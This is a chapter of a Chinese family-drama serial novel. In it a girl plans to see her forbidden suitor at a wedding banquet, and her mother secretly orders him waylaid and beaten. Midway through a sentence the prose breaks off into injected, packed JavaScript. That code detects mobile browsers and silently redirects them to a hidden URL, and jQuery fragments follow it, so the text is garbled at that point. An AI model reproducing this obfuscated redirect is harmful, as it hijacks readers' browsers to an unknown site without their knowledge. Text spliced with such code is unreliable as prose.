二房的院门虚掩着，秋月正在院里收衣裳，见了周玉兰便笑着叫了声“大太太”，周玉兰问“你们太太呢”，秋月朝屋里努了努嘴，说“太太在里头看巧儿姑娘绣花呢”。
周玉兰进了正厅，钱玉琴正歪在炕沿上看巧儿绣一方盖头，巧儿坐在窗下，针线走得飞快，嘴里还哼着什么小调。钱玉琴见周玉兰进来，笑着说：“哟，大嫂今儿怎么有空过来了？稀客。”
周玉兰在炕边坐下来，也不绕弯子：“明兰这几日闷在屋里，饭也不好好吃。我想着巧儿正好闲着，能不能去陪她说说话？两个姑娘家作伴，总比她一个人闷着强。”她说着看了看巧儿，语气放软了些，“你明兰姐姐性子闷，你去开解开解她。”
钱玉琴听了，目光在周玉兰脸上打了个转，她是个精明人，可她看了看窗下低头绣花的巧儿，又想了想明兰那孩子，心软了那么一瞬，便笑着应了：“巧儿，你明儿去大房转转，陪你明兰姐姐说说话。反正你嫁妆也绣得差不多了，闲着也是闲着。”
巧儿放下手里的绣绷，脆生生地应了句：“好啊！我正想与明兰姐姐解闷。”
周玉兰站起身来道了句“那就有劳巧儿了”，便出了二房，一桩心事了了半截。
第二日一早，巧儿穿了件鹅黄的小袄，手里拎着一小包桂花酥，进了明兰的院子便扬声叫“明兰姐姐”。翠儿开了门，明兰正坐在窗下，手里攥着一方帕子，眼下浮着一层淡青。
巧儿进来把桂花酥搁在桌上，挨着她坐下，只伸手把她手里的帕子轻轻抽出来放在一边，又从袖子里掏出一颗松子糖塞进她手心里：“吃颗糖，甜一甜。”
明兰攥着那颗糖，低头不语，眼圈却慢慢泛了红。
巧儿看着她这副模样，心里头大约猜到了七八分：“明兰姐姐，你跟我说实话，你是不是还在想着王家那个？”
明兰的手指头攥紧了那颗糖，咬着下唇，好半天才轻轻点了点头，声音哑得几乎听不见：“我娘把我关在屋里，不许我见他……他说他要来提亲的，可都这么些日子了，一点信儿也没有。”
巧儿看着她这副又委屈又不敢说的模样，心里头软了一截，想了想：“明兰姐姐，你可知道，我钱家二哥下个月要成亲了。”
明兰抬起眼来，有些茫然地看着她。
巧儿凑近了些，压着嗓子说：“钱家二哥娶的是城南赵家的姑娘，婚期定在十月十六。我爹已经递了帖子出去了，岳家这边也要去的，大房二房都算亲戚，都在请的名单里头。”她说着看了明兰一眼，眼底带着一点狡黠的光，“你说，王家跟赵家是什么关系？赵家姑娘是王公子他娘那边的表亲！”
明兰的眼睛忽然亮了一下，那光一闪而过，垂下眼去：“可我娘……不会让我去的。”
“你娘不让你去，你不会想法子让她让你去？”巧儿剥了一颗松子糖塞进自己嘴里，含含糊糊地说，“你只管好好吃饭、好好睡觉、脸上带点笑。你娘看你好了，自然就松口了。到时候婚宴上人多眼杂，谁还盯得住你？”她说着把嘴里那颗糖“咯嘣”咬碎了，“我钱家二哥的婚宴，二房那边肯定要去送礼的，我姑妈肯定要带上我。你若也能去，咱们俩在一处，谁也挑不出毛病来。”
明兰听着她这番话，心里头那一团死灰像是被人往里吹了一口气，又泛上来一丝微弱的火星子，忽然轻轻笑了一下：“那你……你到时候可别撇下我。”
巧儿见她笑了，心里也松快了些，伸手捏了捏她的脸：“我什么时候撇下过你？”两个姑娘互相看了一眼，都不由得笑了起来。
巧儿又说起了她给钱家二哥备贺礼的事，翻出一只新绣的扇套来，说“我绣了两天两夜呢”，明兰接过来看了看，夸了几句“针脚细”“花色好”，两人便凑在一处叽叽咕咕地商量着配什么颜色的穗子好看。
巧儿在大房待了大半日才走，走的时候怀里揣着明兰送的一小匣绣线，脚步轻快。
经过穿堂时，她没留神，迎面撞上了张妈。张妈手里端着一碟子桂花糕，被她撞得歪了一下，碟子里的糕差点滑出来。巧儿连忙伸手扶了一把，嘴里“哎呀”一声，连声道：“张妈对不住对不住，我没看路。”
张妈稳住了碟子，低头一看，见巧儿怀里抱着一只绣花小匣，匣子角上露出一截宝蓝色的穗子，便随口笑问了句：“巧儿姑娘抱的什么宝贝？”
巧儿拍了拍那只匣子，笑嘻嘻地说：“给我钱家二哥的贺礼呢。下个月他成亲，我绣了个扇套，正说拿去配穗子。”
张妈“哦”了一声，笑道：“钱家二哥要成亲了？那可要热闹了。”
巧儿点了点头，又说“我先走了”，便抱着匣子一溜烟跑了。张妈端着桂花糕站在原地，看着她的背影消失在月洞门那头，目光微微沉了一下。
她端着那碟桂花糕回了大房院里，先把糕搁在了明兰屋外的廊下，嘱咐翠儿“给姑娘送进去”，自己便轻手轻脚往周玉兰的屋里去了。
周玉兰正坐在灯下翻一本粮行的旧账，见张妈进来，抬头看了她一眼。张妈把门掩上了，凑到近前，压着嗓子把方才穿堂里碰见巧儿的事说了一遍：“太太，钱家下个月办喜事，二房那边肯定要去的，赵家跟王家又是亲戚。到时候王家那位，十有八九也会在场。”
周玉兰翻账册的手指停了一下，把那页纸捻了个角折起来，慢慢合上了账册。她靠在椅背上想了一会儿，那双眼睛在灯影里头明明暗暗的。
“十月十六，王家那位若当真还在打明兰的主意，婚宴上免不了要凑上来献殷勤。到时候你若看见他往明兰跟前凑，不用声张，悄悄让人跟着。出了钱家的门，挑个僻静巷子，套了麻袋揍一顿，别打出伤来，叫他长长记性就是。”
张妈听得一愣，脸上浮起几分惊讶，可随即又被一股子压不住的笑意撑开了，太太这招又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17800499|210386||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
阴又利落，比明着去王家闹一场强一百倍。
张妈应了声“我明白了”，退出了屋子。
十月十六那日，天公作美，日头落下去之后便起了满天的星，风不大，月亮半圆，挂在钱家院墙外头那棵老槐树的枝桠间。
钱家老二娶亲，排场虽比不得岳家，可到底是读书人家，办起事来讲究。正厅里摆了几桌男宾，东厢另开了两桌女眷，席面上酒菜齐整，瓜子花生堆了满桌，戏台子上请了一班唱评弹的，弦子一拨，软糯的唱腔便悠悠扬扬地飘出来。
岳家来的人不算少。周玉兰带着明兰、明远来的，钱玉琴带着巧儿来的，大房二房各坐了去。明兰穿了一身水蓝的褙子，头发梳了双鬟，鬓边簪了一朵绢丝桂花，整个人比前些日子清瘦了些，可精神头瞧着还好，一双眼睛在灯火底下亮晶晶的，来回地往男宾席那边飘。
巧儿挨着她坐，两个姑娘凑在一处嘀嘀咕咕地不知说什么，巧儿说一句明兰便笑一下，那笑里头藏着一股子压不住的雀跃。
正说着，男宾席那边忽然热闹了一阵。钱举人的一个远房堂嫂从女眷那桌走了过来，胖墩墩的身材，穿着一件酱色的绸褂，满脸堆着笑，一把拉住了钱玉琴的胳膊：“玉琴啊，你来，我有桩事跟你说。”
钱玉琴被她拽了起来，脚底下踉了一步，回头朝巧儿摆了摆手示意她坐着，便被那堂嫂拉到了厅堂角落里。堂嫂压着嗓门：“玉琴，你大哥家那个明远，今年可中了秀才了，还没定亲吧？我跟你说，我娘家侄女今年十七，模样好性子也好，她爹在南街开了间书铺，跟你们岳家门第也算般配。你看什么时候安排见个面？”
钱玉琴一听是这事，笑意底下浮起一层不大自在的淡色：“大嫂，明远那孩子是大房的，他的亲事得他娘做主，我管不到他头上。再说了，他如今中了秀才，一门心思扑在明年的乡试上头，怕是顾不上这些。”
堂嫂还在絮叨：“哎哟，中秀才了也不耽误成亲啊，成了亲有人照应着，读书不是更安心？”
钱玉琴被她说得没法子，只好敷衍着“那我回头跟大嫂提一提”，把话头岔开了去。
男宾席那边，明远一个人坐在靠柱子的位置上，面前的酒杯没怎么动，听见堂嫂拉走钱玉琴时那番话，虽隔了几步听不真切，可大约猜到了是说亲的事，心里头浮起一股说不清的闷，总归是不畅快。
他端起酒杯来喝了一口，目光越过男宾席满桌喧闹的人头，不自觉地往女眷那边望了一眼。
巧儿正侧着头跟明兰说什么，笑得眉眼弯弯，穿着藕荷色的窄袖衫，伸手去够桌上瓜子的时候，手腕上一对细细的银镯子，叮铃铃地响了一声。她不知道说了句什么，明兰掩着嘴笑得前仰后合，两个姑娘挤在一处，像是有什么天大的趣事。
明远看着那边，拿起筷子夹了一颗花生送进嘴里，嚼着嚼着，那股子淡淡的涩意顺着喉咙滑下去了。